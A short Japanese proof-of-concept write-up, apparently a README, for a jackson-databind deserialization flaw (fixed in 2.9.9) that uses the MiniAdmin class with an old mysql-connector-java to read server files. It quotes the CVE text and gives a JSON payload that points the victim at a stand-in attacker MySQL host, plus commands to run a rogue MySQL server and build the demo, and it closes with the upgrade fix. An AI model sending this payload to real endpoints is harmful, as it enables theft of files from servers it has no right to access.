
Default Typing が有効な場合、かつ classpath に mysql-connector-java 8.0.15 以下(2019.2.1 リリース)が存在する場合、攻撃者は悪意のある JSON データを送信することで任意のファイルを読み取ることができます。mysql-connector-java ライブラリは、データベース接続に一般的に使用される MySQL JDBC ドライバです。
CVE の説明は以下のとおりです:
A Polymorphic Typing issue was discovered in FasterXML jackson-databind 2.x before 2.9.9. When Default Typing is enabled (either globally or for a specific property) for an externally exposed JSON endpoint, the service has the mysql-connector-java jar (8.0.14 or earlier) in the classpath, and an attacker can host a crafted MySQL server reachable by the victim, an attacker can send a crafted JSON message that allows them to read arbitrary local files on the server. This occurs because of missing com.mysql.cj.jdbc.admin.MiniAdmin validation.
com.mysql.cj.jdbc.admin.MiniAdmin のコンストラクタは string の値を受け取ります。この値は JDBC URL を表し、com.mysql.cj.jdbc.admin.MiniAdmin クラスは初期化時にこの JDBC URL で指定された MySQL データベースに接続します。python rogue_mysql_server.py
tail -f mysql.log
["com.mysql.cj.jdbc.admin.MiniAdmin","jdbc:mysql://attacker_server:port/foo"]
# edit IP & Port at the payload "./volume/src/main/java/poc/Main.java".
$ docker build .
Jackson を 2.9.9 以上にアップグレードしてください。